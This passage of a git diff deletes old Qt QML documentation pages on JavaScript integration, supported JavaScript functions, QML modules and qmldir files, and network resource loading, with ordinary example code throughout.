left calls \c showCalculations() in \c script.js, -which in turn can call \c factorial() in \c factorial.js, as it has included -\c factorial.js using \l {QML:Qt::include()}{Qt.include()}. - -\table -\row -\li {1,2} \snippet doc/src/snippets/qml/integrating-javascript/includejs/app.qml 0 -\li \snippet doc/src/snippets/qml/integrating-javascript/includejs/script.js 0 -\row -\li \snippet doc/src/snippets/qml/integrating-javascript/includejs/factorial.js 0 -\endtable - -Notice that calling \l {QML:Qt::include()}{Qt.include()} imports all functions from -\c factorial.js into the \c MyScript namespace, which means the QML component can also -access \c factorial() directly as \c MyScript.factorial(). - -In QtQuick 2.0, support has been added to allow JavaScript files to import other -JavaScript files and also QML modules using a variation of the standard QML import -syntax (where all of the previously described rules and qualifications apply). - -A JavaScript file may import another in the following fashion: -\code -.import "filename.js" as UniqueQualifier -\endcode -For example: -\code -.import "factorial.js" as MathFunctions -\endcode - -A JavaScript file may import a QML module in the following fashion: -\code -.import Module.Name MajorVersion.MinorVersion as UniqueQualifier -\endcode -For example: -\code -.import Qt.test 1.0 as JsQtTest -\endcode -In particular, this may be useful in order to access functionality provided -via a module API; see qmlRegisterModuleApi() for more information. - -Due to the ability of a JavaScript file to import another script or QML module in -this fashion in QtQuick 2.0, some extra semantics are defined: -\list -\li a script with imports will not inherit imports from the QML file which imported it (so accessing Component.error will fail, for example) -\li a script without imports will inherit imports from the QML file which imported it (so accessing Component.error will succeed, for example) -\li a shared script (i.e., defined as .pragma library) does not inherit imports from any QML file even if it imports no other scripts -\endlist - -The first semantic is conceptually correct, given that a particular script -might be imported by any number of QML files. The second semantic is retained -for the purposes of backwards-compatibility. The third semantic remains -unchanged from the current semantics for shared scripts, but is clarified here -in respect to the newly possible case (where the script imports other scripts -or modules). -\section2 Code-Behind Implementation Files - -Most JavaScript files imported into a QML file are stateful implementations -for the QML file importing them. In these cases, for QML component instances to -behave correctly each instance requires a separate copy of the JavaScript objects -and state. - -The default behavior when importing JavaScript files is to provide a unique, isolated -copy for each QML component instance. The code runs in the same scope as the QML -component instance and consequently can can access and manipulate the objects and -properties declared. - -\section2 Stateless JavaScript libraries - -Some JavaScript files act more like libraries - they provide a set of stateless -helper functions that take input and compute output, but never manipulate QML -component instances directly. - -As it would be wasteful for each QML component instance to have a unique copy of -these libraries, the JavaScript programmer can indicate a particular file is a -stateless library through the use of a pragma, as shown in the following example. - -\code -// factorial.js -.pragma library - -function factorial(a) { - a = parseInt(a); - if (a <= 0) - return 1; - else - return a * factorial(a - 1); -} -\endcode - -The pragma declaration must appear before any JavaScript code excluding comments. - -As they are shared, stateless library files cannot access QML component instance -objects or properties directly, although QML values can be passed as function -parameters. - - - - -\section1 Running JavaScript at Startup - -It is occasionally necessary to run some imperative code at application (or -component instance) startup. While it is tempting to just include the startup -script as \e {global code} in an external script file, this can have severe limitations -as the QML environment may not have been fully established. For example, some objects -might not have been created or some \l {Property Binding}s may not have been run. -\l {QML JavaScript Restrictions} covers the exact limitations of global script code. - -The QML \l Component element provides an \e attached \c onCompleted property that -can be used to trigger the execution of script code at startup after the -QML environment has been completely established. For example: - -\code -Rectangle { - function startupFunction() { - // ... startup code - } - - Component.onCompleted: startupFunction(); -} -\endcode - -Any element in a QML file - including nested elements and nested QML component -instances - can use this attached property. If there is more than one \c onCompleted() -handler to execute at startup, they are run sequentially in an undefined order. - -Likewise, the \l {Component::onDestruction} attached property is triggered on -component destruction. - - -\section1 JavaScript and Property Binding - -Property bindings can be created in JavaScript by assigning the property the value returned -by calling Qt.binding() where the parameter to Qt.binding() is a \c function -that returns the required value. - -See \l {qml-javascript-assignment}{Property Assignment versus Property Binding} for details. - - -\section1 QML JavaScript Restrictions - -QML executes standard JavaScript code, with the following restrictions: - -\list -\li JavaScript code cannot modify the global object. - -In QML, the global object is constant - existing properties cannot be modified or -deleted, and no new properties may be created. - -Most JavaScript programs do not intentionally modify the global object. However, -JavaScript's automatic creation of undeclared variables is an implicit modification -of the global object, and is prohibited in QML. - -Assuming that the \c a variable does not exist in the scope chain, the following code -is illegal in QML. - -\code -// Illegal modification of undeclared variable -a = 1; -for (var ii = 1; ii < 10; ++ii) - a = a * ii; -console.log("Result: " + a); -\endcode - -It can be trivially modified to this legal code. - -\code -var a = 1; -for (var ii = 1; ii < 10; ++ii) - a = a * ii; -console.log("Result: " + a); -\endcode - -Any attempt to modify the global object - either implicitly or explicitly - will -cause an exception. If uncaught, this will result in an warning being printed, -that includes the file and line number of the offending code. - -\li Global code is run in a reduced scope - -During startup, if a QML file includes an external JavaScript file with "global" -code, it is executed in a scope that contains only the external file itself and -the global object. That is, it will not have access to the QML objects and -properties it \l {QML Scope}{normally would}. - -Global code that only accesses script local variable is permitted. This is an -example of valid global code. - -\code -var colors = [ "red", "blue", "green", "orange", "purple" ]; -\endcode - -Global code that accesses QML objects will not run correctly. - -\code -// Invalid global code - the "rootObject" variable is undefined -var initialPosition = { rootObject.x, rootObject.y } -\endcode - -This restriction exists as the QML environment is not yet fully established. -To run code after the environment setup has completed, refer to -\l {Running JavaScript at Startup}. - -\li The value of \c this is currently undefined in QML in the majority of contexts - -The \c this keyword is supported when binding properties from JavaScript. -In all other situations, the value of -\c this is undefined in QML. - -To refer to any element, provide an \c id. For example: - -\qml -Item { - width: 200; height: 100 - function mouseAreaClicked(area) { - console.log("Clicked in area at: " + area.x + ", " + area.y); - } - // This will not work because this is undefined - MouseArea { - height: 50; width: 200 - onClicked: mouseAreaClicked(this) - } - // This will pass area2 to the function - MouseArea { - id: area2 - y: 50; height: 50; width: 200 - onClicked: mouseAreaClicked(area2) - } -} -\endqml - -\endlist - -\section1 Scarce Resources in JavaScript - -As described in the documentation for \l{QML Basic Types}, a \c var type -property may hold a "scarce resource" (image or pixmap). There are several -important semantics of scarce resources which should be noted: - -\list -\li By default, a scarce resource is automatically released by the declarative engine as soon as evaluation of the expression in which the scarce resource is allocated is complete if there are no other references to the resource -\li A client may explicitly preserve a scarce resource, which will ensure that the resource will not be released until all references to the resource are released and the JavaScript engine runs its garbage collector -\li A client may explicitly destroy a scarce resource, which will immediately release the resource -\endlist - -In most cases, allowing the engine to automatically release the resource is -the correct choice. In some cases, however, this may result in an invalid -variant being returned from a function in JavaScript, and in those cases it -may be necessary for clients to manually preserve or destroy resources for -themselves. - -For the following examples, imagine that we have defined the following class: - -\snippet doc/src/snippets/qml/integrating-javascript/scarceresources/avatarExample.h 0 - -and that we have registered it with the QML type-system as follows: - -\snippet doc/src/snippets/qml/integrating-javascript/scarceresources/avatarExample.cpp 0 - -The AvatarExample class has a property which is a pixmap. When the property -is accessed in JavaScript scope, a copy of the resource will be created and -stored in a JavaScript object which can then be used within JavaScript. This -copy will take up valuable system resources, and so by default the scarce -resource copy in the JavaScript object will be released automatically by the -declarative engine once evaluation of the JavaScript expression is complete, -unless the client explicitly preserves it. - -\section2 Example One: Automatic Release - -In the following example, the scarce resource will be automatically released -after the binding evaluation is complete. - -\snippet doc/src/snippets/qml/integrating-javascript/scarceresources/exampleOne.qml 0 - -\snippet doc/src/snippets/qml/integrating-javascript/scarceresources/avatarExample.cpp 1 - -\section2 Example Two: Automatic Release Prevented By Reference - -In this example, the resource will not be automatically -released after the binding expression evaluation is -complete, because there is a property var referencing the -scarce resource. - -\snippet doc/src/snippets/qml/integrating-javascript/scarceresources/exampleTwo.qml 0 - -\snippet doc/src/snippets/qml/integrating-javascript/scarceresources/avatarExample.cpp 2 - -\section2 Example Three: Explicit Preservation - -In this example, the resource must be explicitly preserved in order -to prevent the declarative engine from automatically releasing the -resource after evaluation of the imported script. - -\snippet doc/src/snippets/qml/integrating-javascript/scarceresources/exampleThree.js 0 - -\snippet doc/src/snippets/qml/integrating-javascript/scarceresources/exampleThree.qml 0 - -\snippet doc/src/snippets/qml/integrating-javascript/scarceresources/avatarExample.cpp 3 - -\section2 Example Four: Explicit Destruction - -In the following example, we release (via destroy()) an explicitly preserved -scarce resource variant. This example shows how a client may free system -resources by releasing the scarce resource held in a JavaScript object, if -required, during evaluation of a JavaScript expression. - -\snippet doc/src/snippets/qml/integrating-javascript/scarceresources/exampleFour.js 0 - -\snippet doc/src/snippets/qml/integrating-javascript/scarceresources/exampleFour.qml 0 - -\snippet doc/src/snippets/qml/integrating-javascript/scarceresources/avatarExample.cpp 4 - -\section2 Example Five: Explicit Destruction And JavaScript References - -One thing to be aware of when using "var" type properties is that they -hold references to JavaScript objects. As such, if multiple references -to one scarce resource is held, and the client calls destroy() on one -of those references (to explicitly release the scarce resource), all of -the references will be affected. - -\snippet doc/src/snippets/qml/integrating-javascript/scarceresources/exampleFive.qml 0 - -\snippet doc/src/snippets/qml/integrating-javascript/scarceresources/avatarExample.cpp 5 - -*/ diff --git a/doc/src/qml/jsfunctionlist.qdoc b/doc/src/qml/jsfunctionlist.qdoc deleted file mode 100644 index 35abc0a..0000000 --- a/doc/src/qml/jsfunctionlist.qdoc +++ /dev/null @@ -1,347 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! - \page jsfunctionlist.html - \title List of JavaScript Objects and Functions - \brief A list of objects, functions, and properties supported in QML. - - This reference contains a list of objects, functions and - properties supported by the \l{The QML Engine}{QML engine}. For a detailed - description, see the \l{External: ECMA-262} specification. - - \section1 The Global Object - - \section2 Value Properties - - \list - \li NaN - \li Infinity - \li undefined - \endlist - - \section2 Function Properties - - \list - \li eval(x) - \li parseInt(string, radix) - \li parseFloat(string) - \li isNaN(number) - \li isFinite(number) - \li decodeURI(encodedURI) - \li decodeURIComponent(encodedURIComponent) - \li encodeURI(uri) - \li encodeURIComponent(uriComponent) - \endlist - - \section2 Constructor Properties - - \list - \li Object - \li Function - \li Array - \li String - \li Boolean - \li Number - \li Date - \li RegExp - \li Error - \li EvalError - \li RangeError - \li ReferenceError - \li SyntaxError - \li TypeError - \li URIError - \endlist - - \section2 Other Properties - - \list - \li Math - \li JSON - \endlist - - \section1 The Object Object - - \section2 Object Constructor - - \section3 Function Properties - - \list - \li getPrototypeOf(O) - \li getOwnPropertyDescriptor(O, P) - \li getOwnPropertyNames(O) - \li create(O [, Properties]) - \li defineProperty(O, P, Attributes) - \li defineProperties(O, Properties) - \li keys(O) - \li seal(O) - \li isSealed(O) - \li freeze(O) - \li isFrozen(O) - \li preventExtensions(O) - \li isExtensible(O) - \endlist - - \section2 Object Prototype - - \section3 Function Properties - - \list - \li toString() - \li toLocaleString() - \li valueOf() - \li hasOwnProperty(V) - \li isPrototypeOf(V) - \li propertyIsEnumerable(V) - \endlist - - \section1 Function Objects - - \section2 Function Prototype - - \section3 Function Properties - - \list - \li toString() - \li apply(thisArg, argArray) - \li call(thisArg [, arg1 [, arg2, ...]]) - \li bind((thisArg [, arg1 [, arg2, …]]) - \endlist - - \section1 Array Objects - - \section2 Array Prototype Object - - \section3 Function Properties - - \list - \li toString() - \li toLocaleString() - \li concat([item1 [, item2 [, ...]]]) - \li join(separator) - \li pop() - \li push([item1 [, item2 [, ...]]]) - \li reverse() - \li shift() - \li slice(start, end) - \li sort(comparefn) - \li splice(start, deleteCount[, item1 [, item2 [, ...]]]) - \li unshift([item1 [, item2 [, ...]]]) - \li indexOf(searchElement [, fromIndex]) - \li lastIndexOf(searchElement [, fromIndex]) - \li every(callbackfn [, thisArg]) - \li some(callbackfn [, thisArg]) - \li forEach(callbackfn [, thisArg]) - \li map(callbackfn [, thisArg]) - \li filter(callbackfn [, thisArg]) - \li reduce(callbackfn [, initialValue]) - \li reduceRight(callbackfn [, initialValue]) - \endlist - - \section1 String Objects - - \section2 String Prototype Object - - \section3 Function Properties - - \list - \li toString() - \li valueOf() - \li charAt(pos) - \li charCodeAt(pos) - \li concat([string1 [, string2 [, ...]]]) - \li indexOf(searchString ,position) - \li lastIndexOf(searchString, position) - \li localeCompare(that) - \li match(regexp) - \li replace(searchValue, replaceValue) - \li search(regexp) - \li slice(start, end) - \li split(separator, limit) - \li substring(start, end) - \li toLowerCase() - \li toLocaleLowerCase() - \li toUpperCase() - \li toLocaleUpperCase() - \li trim() - \endlist - - \section1 Boolean Objects - - \section2 Boolean Prototype Object - - \section3 Function Properties - - \list - \li toString() - \li valueOf() - \endlist - - \section1 Number Objects - - \section2 Number Prototype Object - - \section3 Function Properties - - \list - \li toString(radix) - \li toLocaleString() - \li toFixed(fractionDigits) - \li toExponential(fractionDigits) - \li toPrecision(precision) - \endlist - - \section1 The Math Object - - \section2 Value Properties - - \list - \li E - \li LN10 - \li LN2 - \li LOG2E - \li LOG10E - \li PI - \li SQRT1_2 - \li SQRT2 - \endlist - - \section2 Function Properties - - \list - \li abs(x) - \li acos(x) - \li asin(x) - \li atan(x) - \li atan2(y, x) - \li ceil(x) - \li cos(x) - \li exp(x) - \li floor(x) - \li log(x) - \li max([value1 [, value2 [, ...]]]) - \li min([value1 [, value2 [, ...]]]) - \li pow(x, y) - \li random() - \li round(x) - \li sin(x) - \li sqrt(x) - \li tan(x) - \endlist - - \section1 Date Objects - - \section2 Date Prototype Object - - \section3 Function Properties - - \list - \li toString() - \li toDateString() - \li toTimeString() - \li toLocaleString() - \li toLocaleDateString() - \li toLocaleTimeString() - \li valueOf() - \li getTime() - \li getFullYear() - \li getUTCFullYear() - \li getMonth() - \li getUTCMonth() - \li getDate() - \li getUTCDate() - \li getDay() - \li getUTCDay() - \li getHours() - \li getUTCHours() - \li getMinutes() - \li getUTCMinutes() - \li getSeconds() - \li getUTCSeconds() - \li getMilliseconds() - \li getUTCMilliseconds() - \li getTimeZoneOffset() - \li setTime(time) - \li setMilliseconds(ms) - \li setUTCMilliseconds(ms) - \li setSeconds(sec [, ms]) - \li setUTCSeconds(sec [, ms]) - \li setMinutes(min [, sec [, ms]]) - \li setUTCMinutes(min [, sec [, ms]]) - \li setHours(hour [, min [, sec [, ms]]]) - \li setUTCHours(hour [, min [, sec [, ms]]]) - \li setDate(date) - \li setUTCDate(date) - \li setMonth(month [, date]) - \li setUTCMonth(month [, date]) - \li setFullYear(year [, month [, date]]) - \li setUTCFullYear(year [, month [, date]]) - \li toUTCString() - \li toISOString() - \li toJSON() - \endlist - - \section1 RegExp Objects - - \section2 RegExp Prototype Object - - \section3 Function Properties - - \list - \li exec(string) - \li test(string) - \li toString() - \endlist - - \section1 Error Objects - - \section2 Error Prototype Object - - \section3 Value Properties - - \list - \li name - \li message - \endlist - - \section3 Function Properties - - \list - \li toString() - \endlist - - \section1 The JSON Object - - \section2 Function Properties - - \list - \li parse(text [, reviver]) - \li stringify(value [, replacer [, space]]) - \endlist - -*/ diff --git a/doc/src/qml/modules.qdoc b/doc/src/qml/modules.qdoc deleted file mode 100644 index c346f73..0000000 --- a/doc/src/qml/modules.qdoc +++ /dev/null @@ -1,532 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qml-modules.html -\title QML Modules -\brief creating and setting up QML modules - -\section1 Modules - -A module is a set of QML content files that can be imported as a unit into a QML -application. Modules can be used to organize QML content into independent units, -and they can use a versioning mechanism that allows for independent -upgradability of the modules. - -While QML component files within the same directory are automatically accessible -within the global namespace, components defined elsewhere must be imported -explicitly using the \c import statement to import them as modules. For -example, an \c import statement is required to use: - -\list -\li A component defined in another QML file that is not in the same directory -\li A component defined in a QML file located on a remote server -\li A \l{QQmlExtensionPlugin}{QML extension plugin} library (unless the plugin is installed in the same directory) -\li A JavaScript file (note this must be imported using \l {#namespaces}{named imports}) -\endlist - -An \c import statement includes the module name, and possibly a version number. -This can be seen in the snippet commonly found at the top of QML files: - -\snippet doc/src/snippets/qml/imports/qtquick-1.0.qml import - -This imports version 1.0 of the "QtQuick" module into the global namespace. (The QML -library itself must be imported to use any of the \l {QML Elements}, as they -are not included in the global namespace by default.) - -The \c Qt module is an \e installed module; it is found in the -\l{#import-path}{import path}. There are two types of QML modules: -located modules (defined by a URL) and installed modules (defined by a URI). - - -\section1 Located Modules - -Located modules can reside on the local filesystem or a network resource, -and are referred to by a quoted location URL that specifies the filesystem -or network URL. They allow any directory with QML content to be imported -as a module, whether the directory is on the local filesystem or a remote -server. - -For example, a QML project may have a separate directory for a set of -custom UI components. These components can be accessed by importing the -directory using a relative or absolute path, like this: - -\table -\row -\li Directory structure -\li Contents of application.qml - -\row -\li -\code -MyQMLProject - |- MyComponents - |- CheckBox.qml - |- Slider.qml - |- Window.qml - |- Main - |- application.qml -\endcode - -\li -\qml -import "../MyComponents" - -Window { - Slider { - // ... - } - CheckBox { - // ... - } -} -\endqml - -\endtable - -Similarly, if the directory resided on a network source, it could -be imported like this: - -\snippet doc/src/snippets/qml/imports/network-imports.qml imports - -A located module can also be imported as a network resource if it has a -\l{Writing a qmldir file}{qmldir file} in the directory that specifies the QML files -to be made available by the module. For example, if the \c MyComponents directory -contained a \c qmldir file defined like this: - -\code -Slider 1.0 Slider.qml -CheckBox 1.0 CheckBox.qml -Window 1.0 Window.qml -\endcode - -If the \c MyComponents directory was then hosted as a network resource, it could -be imported as a module, like this: - -\qml -import "http://the-server-name.com/MyQMLProject/MyComponents" - -Window { - Slider { - // ... - } - CheckBox { - // ... - } -} -\endqml - -with an optional "1.0" version specification. Notice the import would fail if -a later version was used, as the \c qmldir file specifies that these elements -are only available in the 1.0 version. - -Note that modules imported as a network resource allow only access to components -defined in QML files; components defined by C++ \l{QQmlExtensionPlugin}{QML extension plugins} -are not available. - - -\target import-path -\section1 Installed Modules - -Installed modules are modules that are made available through the QML import path, -as defined by QQmlEngine::importPathList(), or modules defined within -C++ application code. An installed module is referred to by a URI, which allows -the module to be imported from QML code without specifying a complete filesystem -path or network resource URL. - -When importing an installed module, an un-quoted URI is -used, with a mandatory version number: - -\snippet doc/src/snippets/qml/imports/installed-module.qml imports - -When a module is imported, the QML engine searches the QML import path for a matching -module. The root directory of the module must contain a -\l{Writing a qmldir file}{qmldir file} that defines the QML files -and/or C++ QML extension plugins that are made available to the module. - -Modules that are installed into the import path translate the URI into -directory names. For example, the qmldir file of the module \c com.nokia.qml.mymodule -must be located in the subpath \c com/nokia/qml/mymodule/qmldir somewhere in the -QML import path. In addition it is possible to store different versions of the -module in subdirectories of its own. For example, a version 2.1 of the -module could be located under \c com/nokia/qml/mymodule.2/qmldir or -\c com/nokia/qml/mymodule.2.1/qmldir. The engine will automatically load -the module which matches best. - -The import path, as returned by QQmlEngine::importPathList(), defines the default -locations to be searched by the QML engine for a matching module. By default, this list -contains: - -\list -\li The directory of the current file -\li The location specified by QLibraryInfo::ImportsPath -\li Paths specified by the \c QML_IMPORT_PATH environment variable -\endlist - -Additional import paths can be added through QQmlEngine::addImportPath() or the -\c QML_IMPORT_PATH environment variable. When running the \l {QML Viewer}, you -can also use the \c -I option to add an import path. - - -\section2 Creating Installed Modules - -As an example, suppose the \c MyQMLProject directory in the \l{Located Modules}{previous example} -was located on the local filesystem at \c C:\qml\projects\MyQMLProject. The \c MyComponents -subdirectory could be made available as an installed module by adding a -\l{Writing a qmldir file}{qmldir file} to the \c MyComponents directory that looked like this: - -\code -Slider 1.0 Slider.qml -CheckBox 1.0 CheckBox.qml -Window 1.0 Window.qml -\endcode - -Providing the path \c C:\qml is added to the QML import path using any of the methods listed previously, -a QML file located anywhere on the local filesystem can then import the module as shown below, -without referring to the module's absolute filesystem location: - -\qml -import projects.MyQMLProject.MyComponents 1.0 - -Window { - Slider { - // ... - } - CheckBox { - // ... - } -} -\endqml - -Installed modules are also accessible as a network resource. If the \c C:\qml directory was hosted -as \c http://www.some-server.com/qml and this URL was added to the QML import path, the above -QML code would work just the same. - -Note that modules imported as a network resource allow only access to components -defined in QML files; components defined by C++ \l{QQmlExtensionPlugin}{QML extension plugins} -are not available. - - -\section2 Creating Installed Modules in C++ - -C++ applications can define installed modules directly within the application using qmlRegisterType(). -For example, the \l {Tutorial: Writing QML extensions with C++}{Writing QML extensions with C++ tutorial} -defines a C++ class named \c PieChart and makes this type available to QML by calling qmlRegisterType(): - -\code -qmlRegisterType("Charts", 1, 0, "PieChart"); -\endcode - -This allows the application's QML files to use the \c PieChart type by importing the declared -\c Charts module: - -\snippet doc/src/snippets/qml/imports/chart.qml import - -For \l{QQmlExtensionPlugin}{QML plugins}, the -module URI is automatically passed to QQmlExtensionPlugin::registerTypes(). This method -can be reimplemented by the developer to register the necessary types for the module. Below is the -\c registerTypes() implementation from the \l{declarative/cppextensions/plugins}{QML plugins} -example: - -\snippet examples/declarative/cppextensions/plugins/plugin.cpp plugin - -Once the plugin is built and installed, and includes a \l{Writing a qmldir file}{qmldir file}, -the module can be imported from QML, like this: - -\snippet doc/src/snippets/qml/imports/timeexample.qml import - -Unlike QML types defined by QML files, a QML type defined in a C++ extension plugin cannot be loaded by -a module that is imported as a network resource. - - - -\target namespaces -\section1 Namespaces: Using Named Imports - -By default, when a module is imported, its contents are imported into the global namespace. You may choose to import the module into another namespace, either to allow identically-named types to be referenced, or purely for readability. - -To import a module into a specific namespace, use the \e as keyword: - -\snippet doc/src/snippets/qml/imports/named-imports.qml imports - -Types from these modules can then only be used when qualified by the namespace: - -\snippet doc/src/snippets/qml/imports/named-imports.qml imported items - -Multiple modules can be imported into the same namespace in the same way that multiple modules can be imported into the global namespace: - -\snippet doc/src/snippets/qml/imports/merged-named-imports.qml imports - -\section2 JavaScript Files - -JavaScript files must always be imported with a named import: - -\qml -import "somescript.js" as MyScript - -Item { - //... - Component.onCompleted: MyScript.doSomething() -} -\endqml - -The qualifier ("MyScript" in the above example) must be unique within the QML document. -Unlike ordinary modules, multiple scripts cannot be imported into the same namespace. - -Javascript files can be provided by modules, by adding Namespace definitions to the -\l{Writing a qmldir file}{qmldir file} for the module. For example: - -\code -SystemFunctions 1.0 SystemFunctions.js -UserFunctions 1.0 UserFunctions.js -\endcode - -Javascript can be imported from a module, where they will have the namespace defined -for them in the module's \c qmldir file: - -\qml -import projects.MyQMLProject.MyFunctions 1.0 - -Window { - Component.onCompleted: { SystemFunctions.cleanUp(); } -} -\endqml - -Javascript provided by modules can also be imported into namespaces: - -\qml -import projects.MyQMLProject.MyFunctions 1.0 as MyFuncs -import org.example.Functions 1.0 as TheirFuncs - -Window { - Component.onCompleted: { - MyFuncs.SystemFunctions.cleanUp(); - TheirFuncs.SystemFunctions.shutdown(); - } -} -\endqml - -\section1 Writing a qmldir File - -A \c qmldir file is a metadata file for a module that maps all type names in -the module to versioned QML files. It is required for installed modules, and -located modules that are loaded from a network source. - -It is defined by a plain text file named "qmldir" that contains one or more lines of the form: - -\code -# - [] -internal - -plugin [] -typeinfo -\endcode - -\b {# } lines are used for comments. They are ignored by the QML engine. - -\b { [] } lines are used to add QML files as types. - is the type being made available, the optional is a version -number, and is the (relative) file name of the QML file defining the type. - -Installed files do not need to import the module of which they are a part, as they can refer -to the other QML files in the module as relative (local) files, but -if the module is imported from a remote location, those files must nevertheless be listed in -the \c qmldir file. Types which you do not wish to export to users of your module -may be marked with the \c internal keyword: \b {internal }. - -The same type can be provided by different files in different versions, in which -case later versions (e.g. 1.2) must precede earlier versions (e.g. 1.0), -since the \e first name-version match is used and a request for a version of a type -can be fulfilled by one defined in an earlier version of the module. If a user attempts -to import a version earlier than the earliest provided or later than the latest provided, -the import produces a runtime error, but if the user imports a version within the range of versions provided, -even if no type is specific to that version, no error will occur. - -A single module, in all versions, may only be provided in a single directory (and a single \c qmldir file). -If multiple are provided, only the first in the search path will be used (regardless of whether other versions -are provided by directories later in the search path). - -The versioning system ensures that a given QML file will work regardless of the version -of installed software, since a versioned import \e only imports types for that version, -leaving other identifiers available, even if the actual installed version might otherwise -provide those identifiers. - -\b { } lines are used to import javascript files -into a Namespace exported by the module. The contents of the script file are made -available inside the namespace , which has the version number -. - -\b{plugin []} lines are used to add \l{QQmlExtensionPlugin}{QML C++ plugins} to the module. is the name of the library. It is usually not the same as the file name -of the plugin binary, which is platform dependent; e.g. the library \c MyAppTypes would produce -\c libMyAppTypes.so on Linux and \c MyAppTypes.dll on Windows. - - is an optional argument specifying either an absolute path to the directory containing the -plugin file, or a relative path from the directory containing the \c qmldir file to the directory -containing the plugin file. By default the engine searches for the plugin library in the directory that contains the \c qmldir -file. The plugin search path can be queried with QQmlEngine::pluginPathList() and modified using QQmlEngine::addPluginPath(). When running the \l {QML Viewer}, use the \c -P option to add paths to the plugin search path. - -\b {typeinfo } lines add \l{Writing a qmltypes file}{type description files} to -the module that can be read by QML tools such as Qt Creator to get information about the -types defined by the module's plugins. is the (relative) file name of a .qmltypes -file. - -Without such a file QML tools may be unable to offer features such as code completion -for the types defined in your plugins. - -\section1 Debugging - -The \c QML_IMPORT_TRACE environment variable can be useful for debugging -when there are problems with finding and loading modules. See -\l{Debugging module imports} for more information. - - -\section1 Writing a qmltypes file - -QML modules may refer to one or more type information files in their -\l{Writing a qmldir file}{qmldir} file. These usually have the .qmltypes -extension and are read by external tools to gain information about -types defined in plugins. - -As such qmltypes files have no effect on the functionality of a QML module. -Their only use is to allow tools such as Qt Creator to provide code completion, -error checking and other functionality to users of your module. - -Any module that uses plugins should also ship a type description file. - -The best way to create a qmltypes file for your module is to generate it -using the \c qmlplugindump tool that is provided with Qt. - -Example: -If your module is in \c /tmp/imports/My/Module, you could run -\code -qmlplugindump My.Module 1.0 /tmp/imports > /tmp/imports/My/Module/mymodule.qmltypes -\endcode -to generate type information for your module. Afterwards, add the line -\code -typeinfo mymodule.qmltypes -\endcode -to \c /tmp/imports/My/Module/qmldir to register it. - -While the qmldump tool covers most cases, it does not work if: -\list -\li The plugin uses a \l{QQmlCustomParser}. The component that uses - the custom parser will not get its members documented. -\li The plugin can not be loaded. In particular if you cross-compiled - the plugin for a different architecture, qmldump will not be able to - load it. -\endlist - -In case you have to create a qmltypes file manually or need to adjust -an existing one, this is the file format: - -\qml -import QtQuick.tooling 1.1 - -// There always is a single Module object that contains all -// Component objects. -Module { - // A Component object directly corresponds to a type exported - // in a plugin with a call to qmlRegisterType. - Component { - - // The name is a unique identifier used to refer to this type. - // It is recommended you simply use the C++ type name. - name: "QQuickAbstractAnimation" - - // The name of the prototype Component. - prototype: "QObject" - - // The name of the default property. - defaultProperty: "animations" - - // The name of the type containing attached properties - // and methods. - attachedType: "QDeclarativeAnimationAttached" - - // The list of exports determines how a type can be imported. - // Each string has the format "URI/Name version" and matches the - // arguments to qmlRegisterType. Usually types are only exported - // once, if at all. - // If the "URI/" part of the string is missing that means the - // type should be put into the package defined by the URI the - // module was imported with. - // For example if this module was imported with 'import Foo 4.8' - // the Animation object would be found in the package Foo and - // QtQuick. - exports: [ - "Animation 4.7", - "QtQuick/Animation 1.0" - ] - - // The meta object revisions for the exports specified in 'exports'. - // Describes with revisioned properties will be visible in an export. - // The list must have exactly the same length as the 'exports' list. - // For example the 'animations' propery described below will only be - // available through the QtQuick/Animation 1.0 export. - exportMetaObjectRevisions: [0, 1] - - Property { - name: "animations"; - type: "QQuickAbstractAnimation" - // defaults to false, whether this property is read only - isReadonly: true - // defaults to false, whether the type of this property was a pointer in C++ - isPointer: true - // defaults to false: whether the type actually is a QQmlListProperty - isList: true - // defaults to 0: the meta object revision that introduced this property - revision: 1 - } - Property { name: "loops"; type: "int" } - Property { name: "name"; type: "string" } - Property { name: "loopsEnum"; type: "Loops" } - - Enum { - name: "Loops" - values: { - "Infinite": -2, - "OnceOnly": 1 - } - } - - // Signal and Method work the same way. The inner Parameter - // declarations also support the isReadonly, isPointer and isList - // attributes which mean the same as for Property - Method { name: "restart" } - Signal { name: "started"; revision: 2 } - Signal { - name: "runningChanged" - Parameter { type: "bool" } - Parameter { name: "foo"; type: "bool" } - } - } -} -\endqml - -*/ -/ diff --git a/doc/src/qml/network.qdoc b/doc/src/qml/network.qdoc deleted file mode 100644 index 049bddd..0000000 --- a/doc/src/qml/network.qdoc +++ /dev/null @@ -1,236 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qml-network.html -\ingroup qml-features -\title Resource Loading and Network Transparency in QML -\brief about loading files and resources accross a network - -QML supports network transparency by using URLs (rather than file names) for all -references from a QML document to other content. This means that anywhere a URL source is expected, -QML can handle remote resources as well as local ones, for example in the following image source: - -\qml -Image { - source: "http://www.example.com/images/logo.png" -} -\endqml - -Since a \e relative URL is the same -as a relative file, development of QML on regular file systems remains simple: - 